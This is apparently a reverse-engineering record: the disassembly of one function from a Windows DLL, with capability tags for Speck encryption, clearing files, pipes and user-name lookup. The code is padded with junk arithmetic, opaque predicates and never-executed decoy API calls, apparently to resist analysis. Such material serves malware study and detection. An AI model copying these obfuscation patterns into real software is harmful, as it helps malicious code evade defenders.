Function at 0x100067cc
Capabilities:
Allocate thread local storage
Clear file content
Create pipe
Encrypt data using speck
Get common file path
Get session user name
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100546d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0xb2c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x27c], 0
jmp 0x1000680a
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 2
jge 0x10006826
mov eax, dword [ebp - 0x27c]
mov dword [ebp + eax*4 - 0x584], 1
jmp 0x100067fd
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x584], 0xffffffe8
jmp 0x10006854
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x584]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x584], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x584], 0xffffffe3
jl 0x10006880
mov byte [ebp - 0x97], 0
movzx eax, byte [ebp - 0x97]
test eax, eax
je 0x1000687e
push 0
call dword [sym.imp.GDI32.dll_CreatePalette]
jmp 0x10006839
mov dword [ebp - 0x2a0], 0
mov dword [ebp - 0x900], 0xafe01bd9
mov dword [ebp - 0x7c4], 0xdae8c9f3
mov dword [ebp - 0x7c8], 0x6092
mov dword [ebp - 0x7d0], 0xfffffffb
mov dword [ebp - 0x568], 3
mov dword [ebp - 0x2a0], 0xfffffff3
jmp 0x100068d5
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0x15
je 0x1000690e
mov dword [ebp - 0x354], 5
mov dword [ebp - 0x7d8], 0x735e4b78
mov eax, dword [ebp - 0x354]
inc eax
mov dword [ebp - 0x354], eax
mov eax, dword [ebp - 0x568]
dec eax
mov dword [ebp - 0x568], eax
jmp 0x100068c8
cmp dword [0x1006e2a4], 0
jne 0x1000a87e
mov dword [ebp - 0x50], 0x6318
mov dword [ebp - 0x2a4], 0xb4e94f93
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x50]
jge 0x10006940
mov dword [ebp - 0x2c8], 1
jmp 0x10006947
and dword [ebp - 0x2c8], 0
mov eax, dword [ebp - 0x50]
imul eax, dword [ebp - 0x2c8]
cmp dword [ebp - 0x50], eax
je 0x10006962
mov dword [ebp - 0x55c], 1
jmp 0x10006969
and dword [ebp - 0x55c], 0
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x7e0], eax
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x55c], eax
je 0x10006989
mov dword [ebp - 0x430], 1
jmp 0x10006990
and dword [ebp - 0x430], 0
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x430]
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0x90a3cfce
jb 0x100069b7
mov dword [ebp - 0x2d0], 1
jmp 0x100069be
and dword [ebp - 0x2d0], 0
cmp dword [ebp - 0x2d0], 0
jge 0x100069f0
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x50]
je 0x100069db
mov dword [ebp - 0x57c], 1
jmp 0x100069e2
and dword [ebp - 0x57c], 0
mov eax, dword [ebp - 0x57c]
mov dword [ebp - 0x2a4], eax
jmp 0x10006a06
mov byte [ebp - 0x7e], 0
movzx eax, byte [ebp - 0x7e]
test eax, eax
je 0x10006a06
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0x260], 0xffffffff
mov dword [ebp - 0x148], 1
mov dword [ebp - 0x4f0], 0xfc5674fa
mov dword [ebp - 0x28], 0
jmp 0x10006a34
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jge 0x10006a4a
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x598], 0xa6e6f7fb
jmp 0x10006a2d
mov dword [ebp - 0x2d8], 0x32c9
mov dword [ebp - 0x720], str.lttaodfa_kxx_jnne_ozihtzhu_oad_hmodia_ayrfyxi
cmp dword [ebp - 0x2d8], 0x354b
jle 0x10006ae3
and dword [ebp - 0x29c], 0
jmp 0x10006a80
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0x4bd4
jge 0x10006ae3
and dword [ebp - 0x200], 0
jmp 0x10006aa2
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0x4753
jge 0x10006ae1
mov eax, dword [ebp - 0x29c]
mov ecx, dword [ebp - 0x200]
sar eax, cl
cdq
mov dword [ebp - 0x648], eax
mov dword [ebp - 0x644], edx
push dword [ebp - 0x644]
push dword [ebp - 0x648]
mov ecx, 0x1006d158
call fcn.100021b6
jmp 0x10006a95
jmp 0x10006a73
mov dword [ebp - 0x28], 0
jmp 0x10006af3
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jge 0x10006b09
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x97c], 0xb963ab19
jmp 0x10006aec
and dword [ebp - 4], 0
cmp dword [ebp - 0x2d8], 0x2f26
jge 0x10006b29
mov edx, dword [ebp - 0x720]
mov ecx, 0x1006d158
call fcn.100037d8
jmp 0x10006b45
or dword [ebp - 4], 0xffffffff
jmp 0x10006b4f
mov dword [ebp - 0x28], 0
jmp 0x10006b5f
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 1
jge 0x10006b75
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xb0], 0x51dd2e91
jmp 0x10006b58
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x260]
push 4
pop edx
shl edx, 0
mov edx, dword [ebp + edx - 0x598]
sub edx, dword [ebp - 0x148]
lea ecx, [edx + ecx + 0xa6ae]
cmp ecx, dword [ebp + eax - 0x598]
jle 0x10006bbc
mov dword [ebp - 0x438], 1
jmp 0x10006bc3
and dword [ebp - 0x438], 0
mov eax, dword [ebp - 0x148]
cmp eax, dword [ebp - 0x438]
jl 0x10006bdd
mov dword [ebp - 0x2e0], 1
jmp 0x10006be4
and dword [ebp - 0x2e0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb0]
cmp dword [ebp - 0x2e0], eax
jg 0x10006c05
mov dword [ebp - 0x4e8], 1
jmp 0x10006c0c
and dword [ebp - 0x4e8], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x598]
cmp dword [ebp - 0x4e8], eax
jg 0x10006c2c
mov dword [ebp - 0x2e8], 1
jmp 0x10006c33
and dword [ebp - 0x2e8], 0
mov eax, dword [ebp - 0x4f0]
cmp dword [ebp - 0x2e8], eax
jl 0x10006c4d
mov dword [ebp - 0x440], 1
jmp 0x10006c54
and dword [ebp - 0x440], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov edx, dword [ebp - 0x440]
sub edx, dword [ebp + ecx - 0xb0]
cmp edx, dword [ebp + eax - 0xb0]
jge 0x10006c82
mov dword [ebp - 0x2f0], 1
jmp 0x10006c89
and dword [ebp - 0x2f0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2f0]
sub ecx, dword [ebp + eax - 0xb0]
cmp ecx, 1
jbe 0x10006cb3
mov eax, 0xa6d7d045
test eax, eax
jne 0x10006cb3
and dword [ebp - 0x540], 0
jmp 0x10006cbd
mov dword [ebp - 0x540], 1
cmp dword [ebp - 0x540], 0x550e3526
jl 0x10006cd5
mov dword [ebp - 0x2f8], 1
jmp 0x10006cdc
and dword [ebp - 0x2f8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x598]
cmp eax, dword [ebp - 0x2f8]
jle 0x10006cfd
mov dword [ebp - 0x448], 1
jmp 0x10006d04
and dword [ebp - 0x448], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x598]
sub ecx, dword [ebp - 0x448]
cmp ecx, dword [ebp + eax - 0xb0]
jg 0x10006d32
mov dword [ebp - 0x300], 1
jmp 0x10006d39
and dword [ebp - 0x300], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x260], eax
mov eax, dword [ebp - 0x260]
mov dword [ebp - 0x7e8], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x598]
mov dword [ebp - 0x7f0], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x97c]
mov dword [ebp - 0x7f8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x260]
cmp ecx, dword [ebp + eax - 0xb0]
jle 0x10006d9c
cmp dword [ebp - 0x4f0], 0
jne 0x10006d9c
and dword [ebp - 0x308], 0
jmp 0x10006da6
mov dword [ebp - 0x308], 1
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x97c]
cmp dword [ebp - 0x308], eax
jge 0x10006dc7
mov dword [ebp - 0x450], 1
jmp 0x10006dce
and dword [ebp - 0x450], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x450]
mov dword [ebp + eax - 0x97c], ecx
mov byte [ebp - 0x118], 0
mov byte [ebp - 0x117], 0x49
mov byte [ebp - 0x116], 3
mov byte [ebp - 0x115], 0x75
mov byte [ebp - 0x114], 0x80
mov byte [ebp - 0x113], 0xdc
mov byte [ebp - 0x112], 1
mov byte [ebp - 0x111], 0x2e
mov byte [ebp - 0x110], 2
mov byte [ebp - 0x10f], 0x17
mov byte [ebp - 0x10e], 5
mov byte [ebp - 0x10d], 0x1e
mov byte [ebp - 0x10c], 4
mov byte [ebp - 0x10b], 9
mov byte [ebp - 0x10a], 8
mov byte [ebp - 0x109], 0x4b
mov byte [ebp - 0x108], 0xa
mov byte [ebp - 0x107], 0x42
mov byte [ebp - 0x106], 9
mov byte [ebp - 0x105], 8
mov byte [ebp - 0x104], 7
mov byte [ebp - 0x103], 0x56
mov byte [ebp - 0x102], 6
mov byte [ebp - 0x101], 1
mov byte [ebp - 0x100], 3
mov byte [ebp - 0xff], 0x5d
mov byte [ebp - 0xfe], 0xb
mov byte [ebp - 0xfd], 2
mov dword [ebp - 0x68], 0x36444696
mov dword [ebp - 0x328], 0xffffffff
mov dword [ebp - 0x150], 0xfffffffc
mov dword [ebp - 0x548], 0x142b622b
mov dword [ebp - 0x634], 1
cmp dword [ebp - 0x68], 0
jne 0x10006ee5
mov dword [ebp - 0x4f8], 1
jmp 0x10006eec
and dword [ebp - 0x4f8], 0
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x800], eax
mov eax, dword [ebp - 0x68]
sub eax, 0xe1f379d
cmp eax, dword [ebp - 0x68]
je 0x10006f0e
mov dword [ebp - 0x310], 1
jmp 0x10006f15
and dword [ebp - 0x310], 0
mov eax, dword [ebp - 0x310]
sub eax, dword [ebp - 0x68]
jne 0x10006f24
cmp dword [ebp - 0x68], 0
imul eax, dword [ebp - 0x68], 0xfffd
cmp eax, dword [ebp - 0x150]
jl 0x10006f3f
mov dword [ebp - 0x578], 1
jmp 0x10006f46
and dword [ebp - 0x578], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x578], eax
jle 0x10006f5d
mov dword [ebp - 0x318], 1
jmp 0x10006f64
and dword [ebp - 0x318], 0
mov eax, dword [ebp - 0x150]
cmp dword [ebp - 0x318], eax
jg 0x10006f84
cmp dword [ebp - 0x150], 0
jne 0x10006f84
and dword [ebp - 0x458], 0
jmp 0x10006f8e
mov dword [ebp - 0x458], 1
cmp dword [ebp - 0x458], 0x2006
je 0x10006fa6
mov dword [ebp - 0x320], 1
jmp 0x10006fad
and dword [ebp - 0x320], 0
cmp dword [ebp - 0x150], 0
je 0x10006fc8
cmp dword [ebp - 0x68], 0
je 0x10006fc8
mov dword [ebp - 0x460], 1
jmp 0x10006fcf
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0x4f8]
mov dword [ebp - 0x328], eax
mov eax, dword [ebp - 0x328]
cmp eax, dword [ebp - 0x460]
je 0x10006ff5
mov dword [ebp - 0x330], 1
jmp 0x10006ffc
and dword [ebp - 0x330], 0
mov eax, dword [ebp - 0x330]
mov dword [ebp - 0x548], eax
mov eax, dword [ebp - 0x548]
mov dword [ebp - 0x634], eax
mov byte [ebp - 0xa2], 0
movzx eax, byte [ebp - 0xa2]
test eax, eax
je 0x10007033
push 0x12f2
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x118]
and eax, 2
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x118]
or ecx, 2
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x118]
mov word [ebp + eax*2 - 0x7bc], cx
mov dword [ebp - 0x84], 0xffffffff
mov dword [ebp - 0x340], 3
mov dword [ebp - 0x748], 0x4f163671
mov dword [ebp - 0x2c], 0
jmp 0x1000709b
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x100070b1
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x780], 0xff0ea75c
jmp 0x10007094
mov dword [ebp - 0x2c], 0
jmp 0x100070c1
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x100070d7
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x75c], 0xffffffff
jmp 0x100070ba
mov dword [ebp - 0x2c], 0
jmp 0x100070e7
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x100070fd
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x85c], 0
jmp 0x100070e0
mov dword [ebp - 0x84], 0
jmp 0x10007116
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 2
jg 0x100074f4
mov dword [ebp - 0x208], 0
jmp 0x1000713c
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 1
jge 0x10007158
mov eax, dword [ebp - 0x208]
mov dword [ebp + eax*4 - 0xb8], 0
jmp 0x1000712f
mov eax, dword [ebp - 0x84]
cmp dword [ebp + eax*4 - 0x780], 0
je 0x100071b6
mov dword [ebp - 0x808], 0x5121
mov byte [ebp - 0x85], 0
movzx eax, byte [ebp - 0x85]
test eax, eax
je 0x10007196
push 0xc2
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb8]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xb8], eax
jmp 0x100074ce
mov dword [ebp - 0x350], 2
mov dword [ebp - 0x338], 0x6748
mov dword [ebp - 0x724], str.fnxnq_ghlqea_gtoa
cmp dword [ebp - 0x338], 0x6a6a
jle 0x100072ba
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
and dword [ebp - 0x158], 0
jmp 0x10007202
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0x4c36
jge 0x10007293
and dword [ebp - 0x13c], 0
jmp 0x10007228
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0x4918
jge 0x1000728e
mov eax, dword [ebp - 0x158]
cdq
idiv dword [ebp - 0x13c]
mov eax, edx
cdq
mov dword [ebp - 0x654], eax
mov dword [ebp - 0x650], edx
push dword [ebp - 0x650]
push dword [ebp - 0x654]
lea ecx, [ebp - 0xafc]
call fcn.10001311
pop ecx
pop ecx
mov dword [ebp - 0x63c], eax
mov ecx, dword [ebp - 0x63c]
call fcn.1000150b
push eax
call fcn.1003bcd0
pop ecx
lea ecx, [ebp - 0xafc]
call fcn.10001501
jmp 0x1000721b
jmp 0x100071f5
push 0x1549
push 0
push 0x157
push 0x715
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
mov dword [ebp - 0x478], 1
mov dword [ebp - 4], 2
cmp dword [ebp - 0x338], 0x66e9
jge 0x100072e3
push dword [ebp - 0x724]
call fcn.1003bcd0
pop ecx
jmp 0x100072ff
or dword [ebp - 4], 0xffffffff
jmp 0x10007309
push 3
pop eax
test eax, eax
je 0x100073a5
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x75c], 0
je 0x10007370
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x75c]
mov dword [ebp - 0x810], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x75c]
mov dword [ebp - 0x468], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x468]
mov dword [ebp + eax - 0x75c], ecx
mov eax, dword [ebp - 0x468]
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
push 4
pop edx
imul edx, edx, 0
mov edx, dword [ebp + edx - 0xb8]
sub edx, dword [ebp + ecx - 0xb8]
cmp edx, dword [ebp + eax - 0xb8]
je 0x100073a5
mov dword [ebp - 0x500], 1
jmp 0x100073ac
and dword [ebp - 0x500], 0
mov eax, dword [ebp - 0x350]
imul eax, dword [ebp - 0x500]
cmp eax, 1
je 0x100073ca
mov dword [ebp - 0x348], 1
jmp 0x100073d1
and dword [ebp - 0x348], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x780]
cmp dword [ebp - 0x348], eax
jge 0x100073f2
mov dword [ebp - 0x470], 1
jmp 0x100073f9
and dword [ebp - 0x470], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb8]
cmp dword [ebp - 0x470], eax
jge 0x10007420
cmp dword [ebp - 0x350], 0
jne 0x10007420
and dword [ebp - 0x570], 0
jmp 0x1000742a
mov dword [ebp - 0x570], 1
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp + eax*4 - 0x780]
cmp dword [ebp - 0x570], eax
jl 0x1000744b
mov dword [ebp - 0x358], 1
jmp 0x10007452
and dword [ebp - 0x358], 0
mov eax, dword [ebp - 0x478]
cmp dword [ebp - 0x358], eax
je 0x1000746c
mov dword [ebp - 0x360], 1
jmp 0x10007473
and dword [ebp - 0x360], 0
mov eax, dword [ebp - 0x478]
cmp dword [ebp - 0x360], eax
je 0x1000748d
mov dword [ebp - 0x508], 1
jmp 0x10007494
and dword [ebp - 0x508], 0
mov eax, dword [ebp - 0x84]
cmp eax, dword [ebp - 0x508]
je 0x100074ae
mov dword [ebp - 0x368], 1
jmp 0x100074b5
and dword [ebp - 0x368], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x368]
sub ecx, dword [ebp + eax - 0x85c]
mov dword [ebp - 0x748], ecx
mov byte [ebp - 0xa4], 0
movzx eax, byte [ebp - 0xa4]
test eax, eax
je 0x100074ef
push 0
push 0x1d7f
push 0
call dword [sym.imp.GDI32.dll_GetRegionData]
jmp 0x10007109
mov dword [ebp - 0x20], 2
and dword [ebp - 0xd8], 0
jmp 0x1000750c
mov eax, dword [ebp - 0x20]
inc eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x1c
jae 0x10007a48
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x118]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x20], eax
jne 0x100079b3
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x118]
inc eax
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x118]
mov ecx, dword [ebp - 0x20]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], 0x1897a4a
mov dword [ebp - 0xe0], 0xd4914d2e
mov dword [ebp - 0x2bc], 0x4d2fc5c3
mov dword [ebp - 0x380], 0xa0211e9a
mov dword [ebp - 0x480], 0x1b56
mov dword [ebp - 0x74c], str.ucfvrjud_tdghbm_qhwq_aefdud_tkqss_smgbb_ncohjp_xadvs_tzrfkvzpp_udbis
cmp dword [ebp - 0x480], 0x1cb7
jle 0x10007678
and dword [ebp - 0x168], 0
jmp 0x100075b7
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0x569c
jge 0x10007678
and dword [ebp - 0x160], 0
jmp 0x100075dd
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0x1ecf
jge 0x10007673
and dword [ebp - 0x210], 0
jmp 0x10007603
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0x71eb
jge 0x1000766e
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x210]
sar eax, cl
xor eax, dword [ebp - 0x168]
cdq
mov dword [ebp - 0x660], eax
mov dword [ebp - 0x65c], edx
push dword [ebp - 0x65c]
push dword [ebp - 0x660]
lea ecx, [ebp - 0xa00]
call fcn.10001311
pop ecx
pop ecx
mov dword [ebp - 0x750], eax
mov ecx, dword [ebp - 0x750]
call fcn.1000150b
push eax
call fcn.1003bcd0
pop ecx
lea ecx, [ebp - 0xa00]
call fcn.10001501
jmp 0x100075f6
jmp 0x100075d0
jmp 0x100075aa
mov dword [ebp - 0x268], 0x7420ea1b
mov dword [ebp - 4], 4
cmp dword [ebp - 0x480], 0x1780
jge 0x100076a1
push dword [ebp - 0x74c]
call fcn.1003bcd0
pop ecx
jmp 0x100076bd
or dword [ebp - 4], 0xffffffff
jmp 0x100076c7
mov dword [ebp - 0x708], 7
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x818], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x820], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x828], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x830], eax
imul eax, dword [ebp - 0xe0], 0x1a88
cmp eax, 0xfffffff7
jb 0x10007719
mov dword [ebp - 0x370], 1
jmp 0x10007720
and dword [ebp - 0x370], 0
mov eax, dword [ebp - 0x370]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0xe0]
imul eax, dword [ebp - 0x1c]
neg eax
cmp eax, dword [ebp - 0x1c]
jne 0x10007749
mov dword [ebp - 0x550], 1
jmp 0x10007750
and dword [ebp - 0x550], 0
mov eax, dword [ebp - 0x550]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2bc], eax
jne 0x1000776f
or eax, 0xffffffff
jne 0x1000776f
and dword [ebp - 0x378], 0
jmp 0x10007779
mov dword [ebp - 0x378], 1
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x378], eax
jle 0x10007790
mov dword [ebp - 0x488], 1
jmp 0x10007797
and dword [ebp - 0x488], 0
mov eax, dword [ebp - 0x488]
mov dword [ebp - 0x380], eax
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x380]
jl 0x100077ba
mov dword [ebp - 0x510], 1
jmp 0x100077c1
and dword [ebp - 0x510], 0
mov eax, dword [ebp - 0x510]
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0x396d56a4
jne 0x100077e5
mov dword [ebp - 0x388], 1
jmp 0x100077ec
and dword [ebp - 0x388], 0
cmp dword [ebp - 0x388], 8
jl 0x10007801
mov dword [ebp - 0x490], 1
jmp 0x10007808
and dword [ebp - 0x490], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x490], eax
jl 0x1000781f
mov dword [ebp - 0x390], 1
jmp 0x10007826
and dword [ebp - 0x390], 0
mov eax, dword [ebp - 0x390]
sub eax, dword [ebp - 0x1c]
cmp eax, 5
jne 0x10007840
mov dword [ebp - 0x564], 1
jmp 0x10007847
and dword [ebp - 0x564], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x564], eax
jg 0x1000785b
cmp dword [ebp - 0xe0], 0
jne 0x1000786d
cmp dword [ebp - 0x268], 0
jne 0x1000786d
and dword [ebp - 0x398], 0
jmp 0x10007877
mov dword [ebp - 0x398], 1
cmp dword [ebp - 0x398], 0xb101
je 0x1000788f
mov dword [ebp - 0x498], 1
jmp 0x10007896
and dword [ebp - 0x498], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x498], eax
jg 0x100078ad
mov dword [ebp - 0x3a0], 1
jmp 0x100078b4
and dword [ebp - 0x3a0], 0
cmp dword [ebp - 0x3a0], 1
jne 0x100078c9
mov dword [ebp - 0x518], 1
jmp 0x100078d0
and dword [ebp - 0x518], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x518], eax
jl 0x100078e7
mov dword [ebp - 0x3a8], 1
jmp 0x100078ee
and dword [ebp - 0x3a8], 0
cmp dword [ebp - 0x3a8], 0
jb 0x10007903
mov dword [ebp - 0x4a0], 1
jmp 0x1000790a
and dword [ebp - 0x4a0], 0
imul eax, dword [ebp - 0x4a0], 0
cmp eax, 0x6c14
jl 0x1000798c
cmp dword [ebp - 0x268], 0
je 0x1000798c
mov dword [ebp - 0x2b4], 0x575f7f77
mov dword [ebp - 0x710], 0x8b742d63
mov dword [ebp - 0x1c], 0
jmp 0x10007945
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x1e
jne 0x1000798a
mov eax, dword [ebp - 0x708]
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0
jne 0x10007972
cmp dword [ebp - 0x2b4], 0
jne 0x10007972
and dword [ebp - 0x3b0], 0
jmp 0x1000797c
mov dword [ebp - 0x3b0], 1
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x710], eax
jmp 0x1000793e
jmp 0x100079ae
mov dword [ebp - 0x2bc], 0xc076a5d0
mov byte [ebp - 0x8d], 0
movzx eax, byte [ebp - 0x8d]
test eax, eax
je 0x100079ae
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
jmp 0x10007504
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0xd8]
movzx eax, byte [ebp + eax - 0x11a]
movzx eax, word [ebp + eax*2 - 0x7bc]
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x117]
and ecx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0xd8]
movzx eax, byte [ebp + eax - 0x11a]
movzx eax, word [ebp + eax*2 - 0x7bc]
mov edx, dword [ebp - 0x20]
movzx edx, byte [ebp + edx - 0x117]
and edx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0xd8]
movzx eax, byte [ebp + eax - 0x11a]
movzx eax, word [ebp + eax*2 - 0x7bc]
mov esi, dword [ebp - 0x20]
movzx esi, byte [ebp + esi - 0x117]
add esi, eax
sub esi, edx
sub esi, ecx
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x118]
mov word [ebp + eax*2 - 0x7bc], si
and dword [ebp - 0xd8], 0
jmp 0x10007504
mov dword [ebp - 0x218], 0xffffffff
mov dword [ebp - 0x170], 0
jmp 0x10007a6b
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 3
jge 0x10007a87
mov eax, dword [ebp - 0x170]
mov dword [ebp + eax*4 - 0xb08], 0xfffe
jmp 0x10007a5e
mov dword [ebp - 0x218], 0
jmp 0x10007aa0
mov eax, dword [ebp - 0x218]
dec eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0xffffffe4
jne 0x10007b4f
mov dword [ebp - 0x178], 0xfffffff7
mov dword [ebp - 0x178], 2
jmp 0x10007ad0
mov eax, dword [ebp - 0x178]
dec eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0
jl 0x10007b4a
mov dword [ebp - 0x280], 0xf8067e30
mov dword [ebp - 0x280], 0
jmp 0x10007afc
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 2
jg 0x10007b2b
mov byte [ebp - 0xa6], 0
movzx eax, byte [ebp - 0xa6]
test eax, eax
je 0x10007b29
push 0x2542
push 0x1fb0
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
jmp 0x10007aef
mov byte [ebp - 0x95], 0
movzx eax, byte [ebp - 0x95]
test eax, eax
je 0x10007b45
push 0
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
jmp 0x10007ac3
jmp 0x10007a93
push 2
pop eax
imul eax, eax, 0xc
xor ecx, ecx
mov word [ebp + eax - 0x7bc], cx
mov dword [ebp - 0x74], 0xac204e2d
mov dword [ebp - 0x558], 0x61eb
